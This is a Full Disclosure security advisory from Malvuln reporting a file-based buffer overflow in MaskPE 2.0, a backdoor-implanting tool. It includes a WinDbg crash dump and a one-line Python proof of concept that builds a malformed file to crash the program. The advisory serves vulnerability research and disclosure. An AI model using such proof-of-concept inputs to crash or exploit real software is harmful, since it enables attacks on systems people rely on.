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Date: Fri, 15 Jan 2021 20:21:38 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Nucleroot.bi - MaskPE 2.0 / File Based Buffer
	Overflow

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/25e0570cc803cd77abc2268b41237937.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Nucleroot.bi - MaskPE 2.0
Vulnerability: File Based Buffer Overflow
Description: MaskPE by yzkzero is a tool for implanting backdoors in
existing PE files. The Backdoor tool doesnt properly check the files
it loads and falls victim to a file based local buffer overflow.
Type: PE32
MD5: 25e0570cc803cd77abc2268b41237937
Network Access: Local
Vuln ID: MVID-2021-0027
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 01/15/2021

Memory Dump:
The stored exception information can be accessed via .ecxr.
(918.3fc): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414141 edx=41414101 esi=00000003 edi=00000003
eip=773ced3c esp=0019e780 ebp=0019e910 iopl=0         nv up ei pl nz ac po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200212
ntdll!ZwWaitForMultipleObjects+0xc:
773ced3c c21400          ret     14h


0:000> .ecxr
eax=456a4141 ebx=764db900 ecx=41414141 edx=41414101 esi=0019fbc0 edi=0019fbc0
eip=0040a0a3 esp=0019f0a0 ebp=024a1780 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210206
*** WARNING: Unable to verify checksum for
Backdoor.Win32.Nucleroot.bi.25e0570cc803cd77abc2268b41237937.exe
*** ERROR: Module load completed but symbols could not be loaded for
Backdoor.Win32.Nucleroot.bi.25e0570cc803cd77abc2268b41237937.exe
Backdoor_Win32_Nucleroot_bi_25e0570cc803cd77abc2268b41237937+0xa0a3:
0040a0a3 813850450000    cmp     dword ptr [eax],4550h ds:002b:456a4141=????????



0:000> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************


FAULTING_IP:
Backdoor_Win32_Nucleroot_bi_25e0570cc803cd77abc2268b41237937+a0a3
0040a0a3 813850450000    cmp     dword ptr [eax],4550h

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 0040a0a3
(Backdoor_Win32_Nucleroot_bi_25e0570cc803cd77abc2268b41237937+0x0000a0a3)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 456a4141
Attempt to read from address 456a4141

PROCESS_NAME:  Backdoor.Win32.Nucleroot.bi.25e0570cc803cd77abc2268b41237937.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p
referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000000

EXCEPTION_PARAMETER2:  456a4141

READ_ADDRESS:  456a4141

FOLLOWUP_IP:
Backdoor_Win32_Nucleroot_bi_25e0570cc803cd77abc2268b41237937+a0a3
0040a0a3 813850450000    cmp     dword ptr [eax],4550h

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

FAULTING_THREAD:  000003fc

BUGCHECK_STR:  APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_41414141

PRIMARY_PROBLEM_CLASS:  STRING_DEREFERENCE_FILL_PATTERN_41414141

DEFAULT_BUCKET_ID:  STRING_DEREFERENCE_FILL_PATTERN_41414141

LAST_CONTROL_TRANSFER:  from 00404ea6 to 0040a0a3

STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
0019f0a0 00404ea6 00000001 0019fb4c 0019f410
Backdoor_Win32_Nucleroot_bi_25e0570cc803cd77abc2268b41237937+0xa0a3
0019fb4c 00000000 00000000 00000000 00000000
Backdoor_Win32_Nucleroot_bi_25e0570cc803cd77abc2268b41237937+0x4ea6


STACK_COMMAND:  ~0s; .ecxr ; kb

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  Backdoor_Win32_Nucleroot_bi_25e0570cc803cd77abc2268b41237937+a0a3

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: Backdoor_Win32_Nucleroot_bi_25e0570cc803cd77abc2268b41237937

IMAGE_NAME:  Backdoor.Win32.Nucleroot.bi.25e0570cc803cd77abc2268b41237937.exe

DEBUG_FLR_IMAGE_TIMESTAMP:  44672333

FAILURE_BUCKET_ID:
STRING_DEREFERENCE_FILL_PATTERN_41414141_c0000005_Backdoor.Win32.Nucleroot.bi.25e0570cc803cd77abc2268b41237937.exe!Unknown

BUCKET_ID:  APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_41414141_Backdoor_Win32_Nucleroot_bi_25e0570cc803cd77abc2268b41237937+a0a3

Followup: MachineOwner


Exploit/PoC:
python -c "print( 'MZ'+'A'*20000)" > doom.exe

Load it into MaskPE and BOOM!


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or
otherwise. Permission is hereby granted for the redistribution of this
advisory, provided that it is not altered except by reformatting it,
and that due credit is given. Permission is explicitly given for
insertion in vulnerability databases and similar, provided that due
credit is given to the author. The author is not responsible for any
misuse of the information contained herein and accepts no
responsibility for any damage caused by the use or misuse of this
information. The author prohibits any malicious use of security
related information or exploits by the author or elsewhere. Do not
attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper
Malware handling or the downloading of ANY Malware mentioned on this
website or elsewhere. All content Copyright (c) Malvuln.com (TM).

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